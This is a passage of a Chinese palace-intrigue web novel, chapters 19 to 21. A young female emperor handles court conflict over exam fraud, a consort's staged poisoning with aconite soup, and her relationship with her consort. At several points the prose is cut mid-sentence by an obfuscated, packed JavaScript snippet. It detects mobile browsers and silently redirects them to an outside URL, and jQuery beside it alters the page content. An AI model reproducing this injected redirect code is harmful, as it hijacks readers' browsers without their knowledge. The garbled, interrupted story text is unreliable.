傅泽惠愣了几息,在开口时,语气中满是讥讽:“韩大人如此为寒门学子争辩,莫不是朱雀门前的闹剧,也有韩大人的手笔?” 韩惜灵微微一笑,神色自若:“本官不过是想为刘大人讨个公道罢了。刘大人乃我朝肱骨,如今惨死,还落得个不清不楚的污名,本官自要查明真相,为刘大人正名。” 两朝臣一来一往,唇枪舌剑,宛如针尖对麦芒,难分高下。 气氛焦灼之际,只能看向凤帝,望凤帝定下乾坤。 九凤椅上,年轻的帝王微微蹙眉,面露难色。 “两位爱卿皆是我朝栋梁,阅历与谋略远非朕可及。”她沉吟片刻,方缓缓开口:“如今齐翁不在,朝堂之事如何判断,朕心中实在没底。不妨这样吧,两位爱卿散朝后可亲至齐太师府。齐翁虽在病中,却一直以朝堂之事为己任,此事又事关天下学子,朕相信,齐翁定会为两位爱卿指出明路。” 齐翁? 傅泽惠心中冷笑,一直以来,齐翁皆站在老臣的立场,如今想必亦会维持老臣体面,故而心悦应下:“是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175648|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 韩惜灵神色依旧,心事不显,也躬身应下:“是。” 又几项朝事商议决策后,早朝散去。 阳光正好,御撵随着宫人的步伐上下摇曳,晃的裴源有些困乏,直抵凝辉殿时,郭嘉安与韩柏一人守着殿门一侧,目光锐利的凝望彼此,好似两只即将要上场决斗的斗鸡。 裴源远远瞥见,只觉得心中烦闷。乌宛白见势提议:“陛下,眼下正是玉兰花开时节,花期甚短,莫要辜负才好。” 裴源闻言,心中稍霁,眉间微展:“也好,去瞧瞧。” 玉兰悬在树梢,花束昂首直立,宛若白鹤立在枝头,清雅高洁,不染纤尘。 温暖的阳光拂面,春风携着春华的芳香,路边青草,矮灌生出嫩绿新芽儿,一切都在焕发新的生机。裴源在郁郁葱葱间穿行,心境稍有好转,无意间瞥见纵横的树丛间,有男儿身影。 不用看也知道,又是个邀宠的后君。 裴源脚下一顿,想也不想就要转身离去,然而男儿似有所感,甫一回眸,将要逃离的凤帝抓个正着。 周天韵疾步上前拦住凤帝去路,目光对视瞬间扬起嘴角弧度:“陛下?好巧啊!” 裴源:“……” 裴源冷眼瞥着乌宛白。 乌宛白讪讪一笑,一挥浮尘,带着一众宫人走远了。 周天韵这才虚扶一礼,未得允准便起身道:“陛下看见臣跑什么?臣又不会吃了你。” 裴源没好气道:“别装了,你想吃,朕看得出来。” 周天韵噗的笑出了声,不知从何处摘了朵玉兰,拿捏在指尖转动:“陛下正值妙龄,又容貌倾城,且为天下之主,臣想吃您,也不足为其吧。” 裴源冷哼着从周天韵手里夺下玉兰,似有所指:“花开的好好的,立在枝头才有韵味,你非要采摘在手。”她将花摊在男子面前:“像个白菜帮子,有何趣味?” 周天韵嘿嘿一笑,伸手挑起凤帝下巴:“就算陛下真是白菜帮子,那也是翡翠白菜,味道甜甘,回味无穷。” “没个正经。” 裴源握着周天韵的手,那手纤细柔软,指若葱白,哪里像个男儿的手? “说罢,什么事?” 周天韵敛起玩闹心思,从怀里掏出信笺递给裴源:“当年文渊阁那场大火,火场发现骸骨共有十六具,可刑部的案册上,死者却有十七人。” 裴源展开信笺,十七个名字历历在目,身份亦有明确标识,并无特别之处:“倒是巧了,贡院火灾,十七处考棚同时起火。” 周天韵点头,语气低沉:“文渊阁起火案已过多年,尸骸早已腐烂成泥,这无故失踪的第十七人身份,实难查明。臣只能在此次贡院的最初起火点明经科下功夫。” 她言此,轻点一书吏名字:“陛下您说,若贡院起火案,真与当年逃出火场的第十七人有关,她的动机该是什么?” 裴源凝着她所指的‘魏如松’三字:“复仇喽~” 周天韵微微一笑:“陛下圣明。” 19. 第 19 章 凝辉殿的凤案下有一暗匣,里面放置的信笺字迹苍劲浑厚,可言辞却显得轻浮,信笺内容多为朝臣的隐晦私事,裴源正苦恼书写它们的主人是谁,一份夹带‘盼卿怜’纸条的梅花酥,就送到了她的案前。 再一追问,方知此人是周天韵。 一个女扮男装,住在她后宫却行‘侦探’之责的近臣。 初见那日,裴源对她还心有忌惮,却被她一番缠人功夫卸下防备。听她言辞,原主似与她有些过命交情,因而对她颇为信任。 可裴源还是下意识躲的她很远,总觉得这厮对她不怀好意。 这话是裴源当着周天韵面说的,周天韵听了笑的肆意,干脆缠着她的脖颈:“跟着陛下,臣就有享不尽的荣华富贵,臣自然对您不怀好意了。” 裴源嫌弃的将她推了老远:“一边玩去!” 周天韵神色自若,并未因裴源的语气而有丝毫羞恼,反而扭着水蛇腰,蛄蛹蛄蛹的走远了。 裴源:“……” 蛇精……病! *** 傅泽惠被齐翁卿拒之门外的消息,很开传回了凝辉殿,彼时的裴源刚阅过一份通篇废话的折子,一听这个消息,欢欢喜喜的在奏折上写下一句:“朕知道了,爱卿也要注意身体,夏天多盖被,冬天多洗澡,春秋多吃葱姜蒜,定也能万岁同安。” 一旁侍奉笔墨的乌宛白:“……” 她真不是故意看的。 裴源随口道:“朕这右眼皮直跳,总感觉这几日有大事发生。” 乌宛白微微一笑:“陛下是天子,承天命所授,您这金口玉言一落地,必将应验而生。” 裴源搁下朱笔,倚靠椅背,目光望向天外云端:“这朝堂沉疴痼疾,归根结底不过是群臣仗着年岁、阅历,瞧不上朕这个年轻帝王。她们默契的展翅,欲将朕阻隔在羽翼之外,若诸臣坚守本心,维系朝局,朕纵然被架空,也并无不可。只可惜,有些人逐渐失了本心,肱骨成了败类,吃相宛如恶犬!” 乌宛白轻放墨块,静立一旁,听凤帝低声又道:“正榜两百余名额,让出三成予寒门,于她们地位巩固并无分毫影响,却偏要将事做绝。既然如此,大家都别上桌吃饭了!” 乌宛白嘴角泛起笑意,凤帝有所察觉:“你笑什么?” 乌宛白道:“陛下从前总是冷着一张脸,一日倒头也说不出几句话,而今竟能与奴婢说这些心里话,奴婢听了高兴。” 裴源静默几息,低语呢喃:“原来朕是这般无趣之人。” 乌宛白忙回她:“陛下并非无趣,只是思虑甚重,顾虑甚多,因而言辞谨慎而已。” 裴源不敢多言只字片语,再次取笔批阅奏折,小山高的奏折终见底时,一宫侍满脸惊慌的冲到了凝辉殿外,扑通跪地:“陛下,不好了……” 这声音? 裴源猛地抬首:“韩柏怎么了?” 俞楼缓了一下干涩的喉咙:“韩侍君突然呕吐不止,呼吸不畅,奴才瞧着不对劲,陛下,求您去看看韩侍君吧。” 裴源直接放下笔起身:“可叫了太医?” 俞楼点头:“叫了。” 跨出凝辉殿时,御撵早已备下,宫人脚步迅疾,匆匆赶至朝霞殿时,得到消息赶到的后君们,瞧见凤帝身影纷纷行礼:“陛下。” 裴源未做理会,循着韩柏的呜咽声跨入内殿,一眼瞧见榻上面色清白的韩柏,见裴源靠近,他甚至无力起身,顷刻泪流满面,伸出一只手轻唤:“陛下,臣怕。” “别怕,朕来了!”裴源秀眉紧蹙,侧坐在榻紧握少年冰凉的手,看着一旁太医厉声质问:“韩侍君怎么了?” 太医道:“回禀陛下,韩侍君症状异常,恐是中毒所致。依症状推测,似是服用了含有“乌头”成分的汤食,乌头毒性甚烈,若非所食不多、及时诊治,定有性命之忧!” 裴源眸色阴沉,冷眼扫向俞楼:“侍君吃了什么?” 俞楼道:“就是御膳房端来的饭菜。” 裴源当即下令:“查!” 太医应是,躬身退下去偏殿检查餐食。 等待之际,除了韩柏的呜咽声,内殿一时无人言语,裴源一一扫过诸君,却下意识的在逸侧君的脸上多做了片刻停留。 早朝韩惜灵刚与逸侧君的母亲傅泽惠发生争端,下午韩惜灵的儿子便中了毒。 陆长行侧立榻前,将凤帝的表情收入眼底,本欲开口,可交叠的手指摩挲了虎口良久,还是忍下了。 这时,德君庄与之忽而说道:“早起听闻贵君与韩侍君在凝辉殿外发生了口角,结果,韩侍君便中了毒……” 宸贵君郭嘉安脸色骤变,一脸怒意的转头看向庄与之:“德君若再信口开河,管不住自己的嘴,本宫不介意亲手撕了它!” 庄与之手臂轻抬,拂过腰下环佩禁步,清脆声顷刻环绕半空,他状似随意的把玩着玉佩下的流苏,随口道:“臣也不过觉得巧合,才随口说说,贵君若没做亏心事,急什么?” 郭嘉安被这话噎的一顿:“你!” 庄与之耸耸肩。 面对诸君和凤帝的齐齐注视,郭嘉安一时心中愤然,撩起袍角利落跪地:“陛下,辰时左右,臣是与韩侍君吵了几句口舌,但臣断不会去下毒谋害韩侍君,还望陛下明鉴!” 裴源凝着郭嘉安,男子从头到脚朱红裹身,后脊挺直跪在地面,好似一团明艳的火焰。 良久,她并未言语,亦未过问,只轻轻抬手。 郭嘉安阴沉的面色这才露出和缓之意,被宫侍扶着慢慢起身。 凤帝此举,摆明是偏袒,诸君看在眼里神色各异,庄与之更是不愤的轻嗤一声。 陆长行看在眼里,随口道:“德君倒是耳聪目明,贵君与侍君争吵一事,本宫都不知晓。” 庄与之抚摸着流苏的手一顿,继而无所谓道:“臣也是在御花园散步时,听宫人们议论才知道。君后若脚步勤快,多出来走走,自然也就知道了。” 裴源听在耳中,一个没忍住哼了一声。 天天大半夜往外跑的是谁啊? 满后宫脚步最勤快的,陆长行第二,恐无人敢当第一了。 这一哼极是突兀,一下子引来了诸君注视,待裴源反应过来,诸君已将目光落在了她的脸上。 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175649|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源:“……” 庄与之不解其意,只当凤帝在讥讽他的言辞。 适才他质问郭嘉安,她轻飘飘的抬手;这回他自辩,凤帝又当众冷哼。 这与当众打他的脸有何区别? 庄与之呼吸渐沉,眼眸微颤,却不甘沦为笑柄,匆匆颔首隐下情绪。 裴源看在眼里,未做解释,只盯着傅逸春道:“逸侧君今日都在忙什么?” 傅逸春一怔,缓缓抬眸迎上凤帝的注视:“臣今日……一直待在栖梧宫,与君后下棋。” 裴源眉梢微挑,偏头看向身侧颔首侧立的君后。 陆长行回道:“逸侧君今日一直同臣在一起。” 裴源点头,太医也终于入殿回禀结果。 “陛下,鸡汤有毒。” 韩柏一听,情绪瞬间崩溃,撑坐着起身涌入裴源怀里:“陛下,有人要害臣,你要为臣做主啊。” 裴源轻语安抚,少年的情绪却越来越激动。 乌宛白此时入殿:“陛下,齐翁卿求见。” 陆长行见势,跪地道:“陛下,后宫出现这等毒物,实乃臣失职。求陛下将此事全权交由臣彻查,臣定会给韩侍君一个交代。” 裴源被韩柏哭的焦头烂额,闻言想也不想道:“那就依君后之言,”她又看向诸君:“除君后外全部退下吧,近来没有特别的事,谁都不准来叨扰韩侍君养病!” 诸君跪地:“是。” 待诸君全部退下,裴源才安抚韩柏道:“有君后在这陪你,你什么都不用怕,朕忙完了就会来看你。” 韩柏虽心有不舍,还是慢慢松开了环着她腰的手,委屈道:“陛下可一定要来看臣啊。” 裴源应好,一得自由,起身大步流星的跨出了内殿。 人满为患的内殿一时变回空旷,察觉君后的注视,韩柏怯怯抬眸。 殿内光线明亮,韩柏第一次发觉,君后那双柳眸漆黑如墨,格外深邃,死死盯着他片刻不移。 韩柏没来由的有些不安,小声问道:“君后怎么这样看着臣?” 陆长行漠然启唇,声音透着几分冷冽:“其一,各宫宫人的饭菜,皆是后君所剩,算是恩赏;其二,御膳房饭食午时前会送往各宫,现下时至申时,偏殿桌案上却摆满了一口未动的午膳;韩侍君任由饭菜放凉,既不自己食用,亦不打赏下人,容本宫猜猜……韩侍君应该知道乌头之毒甚烈,因而滴入鸡汤后,久久不敢下口,所以才拖到了现在吧?” 被子下的手无意识蜷缩,韩柏不愿再看君后,瞥开视线落在床帏上,脸上稚气顷刻被冷漠取代。 “臣午时那会饿了,所以叫了饭菜,可饭菜来了又吃不下,便想晚些再用,故而未曾打赏拖延至今,不可以吗?至于乌头是什么,臣年纪尚幼,不懂也没听说过。君后与陛下是患难夫妻,即便查不出下毒之人,顶多遭陛下几句呵斥而已,何必要来诬陷臣?” 陆长行闲闲道:“是否诬陷你心中清楚,本宫年长你几岁,不妨多提点你一句:陛下最恨前朝后宫交涉过密,这也是陛下冷落后宫诸君的主要缘由。你若还在意陛下的恩宠,就收起你的小聪明。” 20. 第 20 章 韩柏静默几息,视线抬起时,雪亮的星星眼底携着几分不屑:“君后此言差矣,若无臣母亲在朝堂效力,臣恐也难入陛下青眼。时移世易,老黄历就应该压在箱底里,毕竟这朝局在变,帝王之心亦在变。可惜君后无父族傍身,个中微妙变化,一时察觉不出,也是情理之中。” 提及父族,陆长行心头一颤,仿佛千万利刃划过心肺,致使呼吸都有些钝痛。却只能紧攥着交叠的手,努力压下心头恶寒。 他冷眼看着少年,十六七的面庞上稚气未脱,眉眼间尽是狡黠与孤高。见自己注视着他,少年不在躲闪,反而挑衅迎上,再次开口:“臣中毒之事,想必很快就会传入臣母亲耳中,作为家里唯一男儿,臣自幼受尽宠爱,母亲更视臣为掌上明珠。君后可要认真找出谋害臣的凶手,以安,第一个倒戈陛下的老臣之心,才好呢。” 陆长行眼眸微眯:“韩侍君大可放心,本宫定会给韩大人一个交代!” “有劳君后,”韩柏嘴角微勾:“臣毒素未清,头晕体乏,恐不能与君后说话了,还望君后见谅。” 陆长行拂袖而去。 解安不知殿中两人对话,只知君后脸色不善,听他问起傅逸春去向,忍不住劝道:“礼部尚书在朝堂屡屡进犯陛下,就连后宫洒扫的宫人都知道。而今君后却要保下逸侧君,这不是摆明了和陛下对着干嘛,君后您又……” 陆长行冷眼扫过,打断了解安的话。 解安急忙颔首,抿唇道:“逸侧君回绮梦殿了。” 陆长行正色道:“你亲自过去,叮嘱他仔细探查殿中侍奉与寝殿匣格,万万不要与韩侍君中毒之事扯上半点牵扯。” 解安应下:“君后去哪?可要奴才派人跟着?” “不必!”陆长行步履疾速,直奔栖梧宫:“有个鸡汤,本宫回去煲一下。” 解安:“……” 彼时,凝辉殿内,三朝老臣齐翁卿咳声不绝,颤颤巍巍的从怀中取出一叠供词,双手奉上:“都是老臣昏聩,若非这些寒门学子以死明志,恐陛下与臣,仍被刘丝柳等人蒙在鼓里。” 裴源不明所以,亲自步下高台,从老臣手中接过供词,一一翻阅,面色愈发凝重,良久,才惊愕道:“这……” 齐翁卿扶着胸口,平缓因震咳带来的痛感,方缓缓启唇:“此乃工部侍郎纪妃的供词。自三年前工部修缮皇陵、皇宫内外大小建筑,乃至如今贡院修缮,刘丝柳凭借尚书之位,以家人性命要挟衙署主要官吏,以权谋私,贪墨修缮之资高大数十万两。” 裴源脚步一晃,痛心疾首:“朕知她贪,却不想竟贪至如此地步!” 齐翁卿亦是满面愤慨,声色俱厉:“纪侍郎供词,字字分明,确凿无疑。更有工部诸多官吏挺身而出,指认其罪行。贪墨罪证,已如铁案无可辩驳!刘丝柳虽已遇害,可她所犯之罪罄竹难书。她竟还想在后世留下清流之名,简直痴人说梦!” 她微微躬身,正色道:“臣恳请陛下,依律查办此案,抄没刘丝柳所有家产,清点现有资产,严惩其家眷子嗣,以正纲纪,借此震慑朝中不忠不义之臣。若有亲眷能大义灭亲举报其罪证,臣以为可酌情宽恕,以示陛下宽仁之心。” 裴源缓了缓贪墨数额带给她的震撼,方才开口:“就依齐翁之意,朕即可下旨!” 说着,跨上高台,乌宛白早会研好朱磨,凤帝取笔沾墨奋笔疾书,齐翁阅过之后点头:“事无巨细,陛下圣明。” 裴源这才命人取来玉玺,谦虚说道:“若无齐翁把关,朕实在心中没底。” 齐翁心头一震,然其情绪不显,只缓缓抬起浑浊的眼眸,静静凝视着小凤帝的脸。良久,才再次开口:“这贡院起火一事,凤鸣卫虽有介入,可毕竟非专业的司法衙署,因而未曾寻到考生作弊确凿证据。如今春闱已过二十余日,诸多学子远道而来,花光盘缠者大有人在。若再不公榜,恐昨日聚众一事还会再起。还望陛下早做决断,以安学子之心。” 凤帝秀眉紧蹙,沉声道:“虽无确凿证据,然礼部所呈正榜名单确有诸多可疑之处,冒然张榜实难服众;可学子久滞京城,于治安亦是不利。此事两难,朕亦深感棘手,还望齐翁能有所提点。” 凤帝言辞恳切,神色尊崇,齐翁看在眼里,心中微微一暖。 她不由想起过往,自己谏言时态度的确过于刚硬,从未顾忌小凤帝圣颜有损,只知小凤帝冥顽不灵。而今自己态度和缓,她自也恭敬以待,齐翁不免心生感慨。 于是,她微微调整情绪,提议道:“陛下,臣以为,此次贡院起火一事,陛下何不命大理寺与刑部重新彻查?大理寺与刑部皆为专业的司法衙署,素来严谨,定能从火场中找出蛛丝马迹。至于此次考试试卷,臣以为可命太学府重新评定。经贴墨文等或许有泄题舞弊之嫌,然策论等凭的都是真才实学。陛下不妨开个先例,就以此次策问成绩为主导,重评上榜学子,如何?” 小凤帝眼眸一亮:“如此甚好!齐翁不愧我朝肱骨,轻而易举便解了当下困境!” 她言此激动步下方台,郑重行下一礼:“请受朕一拜!” 端坐太师椅的齐翁当即起身搀扶小凤帝:“陛下不可,您这是折煞臣了。” 一老一少,仿若忘年,瞬时寻到相契之处,交心深谈。齐翁的震咳虽时不时打断对话,却丝毫不影响二人的畅谈。 暮色沉沉,日薄西山,凝辉殿内终于归于寂静。 乌宛白躬身奉上香茗:“奴婢听陛下嗓子都哑了,快喝口茶吧。” 凤帝早已敛起畅谈时自如模样,取而代之的是一脸疲态与冷漠,她侧身倚靠凭几,拧着微微蹙起的眉心:“人至暮年,仍放下不虚名,盼着受人敬重,得人崇拜。” 她冷哼一声:“越活越糊涂!” 乌宛白微微一笑:“世间大多平凡,真正能担得‘圣贤’二字者,又有几人?” 裴源冷笑,忽而想到韩柏,继而追问她:“韩侍君如何了?” 乌宛白垂下眼眸:“适才朝霞殿的俞楼来过,言侍君似在此次中毒事件中受了惊吓,一下午噩梦不绝,哭着喊着陛下,陛下可要去见见吗?” 浅淡的笑意顷刻敛起,裴源只觉头疼,阖眼抵着太阳穴道:“等他情绪和缓再说,不然朕过去越哄哭的越厉害,跟个娘们儿似的,哼哼唧唧,朕听了浑身起鸡皮疙瘩!” 乌宛白:“……陛下?” 你说的是人话吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175650|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说话间,计安缓步进入内殿:“陛下,君后求见。” 殿内沉默数息后,凤帝方才勾了勾手指,乌宛白意会,带着徒弟退出了凝辉殿。 是夜。 凝辉殿内灯火昏暗,凤帝侧卧方台,倩影孤零零的打在窗纸上。不多时,殿门开了又关,仙鹤一般的影子缓缓再窗纸移动,最后伫立在倩影身前。 倩影端杯啜饮一口清茶,冷漠的声音传出殿外:“君后是来同朕要废后诏书的?” 乌宛白:“……” 她不知君后神色,只瞧见踱步的仙鹤缓缓栖息在了倩影旁。 乌宛白嘴角一勾,轻甩浮尘,唤走了廊下的宫人们。 裴源对廊下宫人举动不甚在意,只是把玩着手中杯盏冷眼看着慢慢靠近的男子。 君后似不爱熏香,比之如行走花田的宸贵君,陆长行的月白锦袍上只会留有淡淡的皂荚味,气味清新,裴源并不排斥。 她见君后跪上方台,又慢慢跪移至自己身侧,最后撑着身子躬身凑上前,就在裴源以为他要□□自己时,男子竟在两人鼻尖只有一拳距离时停下。 四目相对须臾,柳叶眸底竟缓缓溢出一层水雾,刚刚还平静的面容上更是不知不觉写满委屈。 裴源神色不变,只是紧握茶杯的手慢慢紧攥,任杯沿紧扣掌心,抵出痛意。 而君后只是伸手拂去了裴源额间散乱的碎发,动作轻柔而谦卑,待发丝捋顺,方才小心翼翼收了手,意欲跪移退下。 裴源眼皮微挑,她言说不明此时的自己,是心不受控,亦或是自己本就没什么定力,总之是将掌心的茶杯随意扔在了方台,而后紧紧扣住陆长行的后颈,欺身上前,吻住了男子的唇。 那吻依旧霸道,肆无忌惮,索取时男子气息微沉,细弱蚊鸣的哽咽从他喉咙溢出,就连吻里都多了一丝咸意。 裴源不解睁眼,低垂泛红的柳叶眸落入眼底,眼尾红痣更比鲜血刺目。 凤帝一下子有些不知所措,亲吻骤然停歇,取而代之的是一脸愣怔和心底涌出的愧疚,她抬手轻拂他的泪痕:“别哭……” 低垂的眼眸这才慢慢抬起,眼底溢满的泪水顷刻滴落,眼泪无声,可裴源却看到了他满心的伤怀,裴源登时脑海一片空白,只依着内心情绪开口安抚:“是朕错了,别难过了,好不好?” 陆长行负气一般泪意更重,可开口却无半分嘤咛,反而无比淡漠:“陛下甚少踏足栖梧宫,亦极少召见臣,若非臣厚颜求见,陛下恐都想不起臣。臣每日窝在栖梧宫都要发霉了,才想找些事打发时间,不过是偷偷出宫一趟,却不想惹了陛下不快,日日将废后的话挂在嘴边。” 裴源唇瓣翕动:“……哪有日日?” “陛下嘴上没说,心中却是这么想的。” “你别胡乱揣度朕!” “分明就是。”陆长行一脸委屈:“臣年老色衰,才情不及,容貌亦非翘楚。尤其无得力父族在前朝为陛下效力。陛下厌弃臣、嫌弃臣、欲弃臣而另择新后,又何必倒打一耙,反来怪臣?” 裴源:“……” 裴源微微蹙眉,片刻后抬臂倚靠凭几,语气笃定,却一脸无奈:“说吧!你想搞谁?” 21. 第 21 章 陆长行:“……” 陆长行面露赧色,本想狡辩一二,犹豫后干脆翻身下了方台,取出食盒内的鸡汤置于女子面前。 裴源看着汤盅里的鸡腿,瞬间了悟:“原来是韩柏。” 韩柏下午刚饮了鸡汤中毒,他便煲了鸡汤送来,春闱舞弊也没他这么直白了。 裴源拿起汤匙搅弄鸡汤,语气不善:“朕还以为君后是来请罪的。” 陆长行柳叶眸微抬:“陛下都不问问臣发生了何事吗?” 裴源看着方台下侧立的男子,面容清冷绝俗;遇到委屈时眼中泛红,尤其眼尾那颗朱红红痣,似要溢出血来一般,惹人怜爱。 谁又能想到,如此清风霁月般的人物,竟还深谙‘绿茶’那一套? “你不会无缘无故提及父族,定是有人以你无父族撑腰加以挑衅,戳人痛处,小人之举,实在上不得台面。”裴源凝着他的眉眼:“你是后宫之主,如何料理后君朕不会干涉,过后告知朕一句就行了。” 陆长行嘴角微翘,笑意温柔又有些得意。 裴源瞧见,语气玩味:“朕反倒对你刚刚那招欲擒故纵、以退为进更感兴趣。” 陆长行的脸这次红的更加彻底:“陛下~” 裴源眼眸偏转落在他眼尾的小红痣上:“后君们整日闷在后宫确实无趣,你不妨利用每个人的特长制定个奖赏机制,分数够了你就过来同朕讨恩典,金银财帛、玩赏之物、哪怕是进阶位分、偷溜出宫都可以。如此既承了你的情,他们也不至于闲着没事干。” 陆长行愕然抬眼:“陛、陛下说的可是真的?” 裴源轻笑:“骗你干什么?”她默了默,又道:“若遇到拎得清的,你也可以举荐给朕,朕给他们安排些政务,他们兴许做的,比前朝那些老臣更得力呢。” *** 转眼间,天上的月亮只剩了个芽儿。 朝霞殿内灯火通明,户对之下明灯亦熠熠生辉,似乎皆在恭迎凤帝的到来。 终于,窸窣的脚步声传至殿内,少年鞋都来不及穿,只着一件单薄的寝衣便冲出了内殿,却不想,来者竟不是日思夜想的凤帝,反而是御前侍奉的计安。 少年表情骤变,委屈可怜的模样瞬间被愠怒取代,却还要顾忌来人身份,努力压下心头怒火:“陛下呢?” 韩侧君的寝衣单薄,衣襟散乱,白皙的胸膛若隐若现,宛如梅上霜雪,清冷诱人。计安哪里敢多看一眼,匆匆垂下眼眸,恭敬回道:“齐翁与陛下商议朝中紧急事务直至此刻,陛下虽事务缠身,但念及韩侧君噩梦连连,心中疼惜不已,特命奴婢送来安神香与桃木剑,以慰韩侧君孤枕之苦。望韩侧君早些安睡,莫要多思多虑,以免再受惊扰。” 说话间侧身一闪,身后宫人端着的托盘里,正是袅袅飘烟的香炉与系着朱红流苏穗子的桃木剑。 少年脸颊颤抖不歇,双手亦缓缓紧握成拳,尽管怒气灌顶,还是努力挤出微笑:“陛下是万民之主,自要以国事为重。劳计姑娘转告陛下,臣会好好照顾自己,不让陛下忧心,亦请陛下操持国事之余,勿忘顾念凤体。” 计安颔首应是,躬身退下,才行出宫门以外,便听到内殿传出东西摔落在地的声响,以及少年歇斯底里的低吼。 声音铿锵有力,半分不像中毒至深又噩梦惊厥的病患。 计安眼皮微抬,凝望窗纸上的孤影良久,反身疾步奔回了紫宸殿的方向。 彼时的凤帝早已沐浴换好寝衣,脱下满头华簪,任青丝垂落,啜饮香茗,好不惬意。 得闻计安转述,无奈喟叹一声:“朕怜他年幼离家,人又俏皮可爱,便视他为弟弟照应。没想到人小鬼大,一肚子坏水。” 计安不知如何应答,转头看向师父。 乌宛白抱着浮尘低语:“陛下,恕奴婢多言,侍君所图,不过君恩罢了。后君最紧要的便是开枝散叶,陛下已登基三载,可这后宫……” 话未说完凤眸化作利刃猛地扫向她的脸,剐得乌宛白脸颊生疼。她急忙抬手扇了自己一个嘴巴,声音里带着几分颤抖:“奴婢多言,奴婢该死。” 她不再敢注视凤帝,低垂着头,良久后,凤帝的声音幽幽入耳。 “朕若宠了他,便要宠其他人,都是朕的后君,总不好厚此薄彼;他们背负家族荣耀入宫,一生囚困于这方寸之地,所思所想,无外乎君恩与权势。帝王只有一个,后君却数不胜数,君恩注定无法均等,久而久之,难免生出怨恨。怨恨渐深,后宫便无宁日。与其日日为这些是非恩怨打糊涂官司,朕索性不去招惹,至少还能给彼此留下一份清静。” 乌宛白闻言,面上不显,心中却悄然泛起一丝涟漪,然而那涟漪的源头,她自己也难以名状。 月芽儿西落,太阳萌出,阳光铺满宣政殿时,数道圣旨从乌宛白的口中高宣而出。 抄没刘府、处罚刘丝柳家眷;司法介入贡院起火一案;礼部早已敲定正榜人选,陛下却要全部推翻,命太学介入,重新评卷。 朝堂只是朝堂,并无湖水满灌,只是人心浮沉,惊涛骇浪皆藏在众臣的面具之下。 三道旨意下定,众臣开始交头接耳。 终于,礼部尚书忍无可忍,迈步出列,拱手朗声道:“陛下,春闱关乎天下士子的功名前程,早已尘埃落定,正榜名单亦是经由诸位考官慎重评定,天下皆知。而今却要太学横加干涉,重新判卷,如此反复折腾,不仅耗费时日,更动摇朝纲威信……岂非儿戏?” 质问声铿锵有力,可高台凤椅上端坐的帝王似乎恍若未闻,只颔首掸了掸凤袍上莫须有的灰尘。 反倒是高台下端坐轮椅的老臣缓缓开口。 老臣咳疾未愈,可有理有据的辩言好似千钧,伴着咳声一字一字落在了群臣耳中。 曾经老臣一派的头领,如今突然态度扭转,反将枪口对准同盟,众臣无不惊愕,亦有人站出来反对,但都抵不上老臣一两拨千金的反驳。 终于,众臣偃旗息鼓,朝堂一片肃静,小凤帝见势,起身而去。 直至途径御花园,乌宛白的‘散朝’二字仍似带着余音在脑海回荡,虽事情还未结束,可裴源就觉得心中痛快,嘴角的弧度扬了又扬,生怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194371|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己笑出了声。 她很想饮碗清酒,放肆一把,可正欲开口,大脑似被人拿着钝刀凿开了一道口子,疼的裴源眼前一黑,竟直接载下了凤撵。 凤帝痛苦的呻吟声顷刻间响彻御花园。 乌宛白惊呼:“计安!” 计安抬步直奔栖梧宫奔去,脚步快的似要擦出火星子。 裴源无暇顾及周遭,因为无数陌生记忆似电影般在她脑海放映。 她又看到了先帝,那个气质威严,只需一个眼神便能决定人生死的掌权者。 权利好似早与她灵魂契合,所以她哪怕只是静静端坐在那批阅奏折,原主在她面前,依旧惧怕的背脊生寒,跪的膝盖钻心的疼,依旧不敢挪动分毫。 奏折见底,先帝才终于施舍了她一个眼神:“你自幼被朕冷落,可知缘由?” 原主语气十分平淡,裴源甚至感受不到她的一丝情绪波澜,只是平静开口:“儿臣身份卑微,父君卑贱,不配入母皇青眼。” 先帝满意她的自知之明,继续问她:“如今得朕器重,可知何故?” 原主依旧平静无波:“儿臣是天家凤女,又有些小聪明,跟在太女左右,可替她抵挡明枪暗箭。” 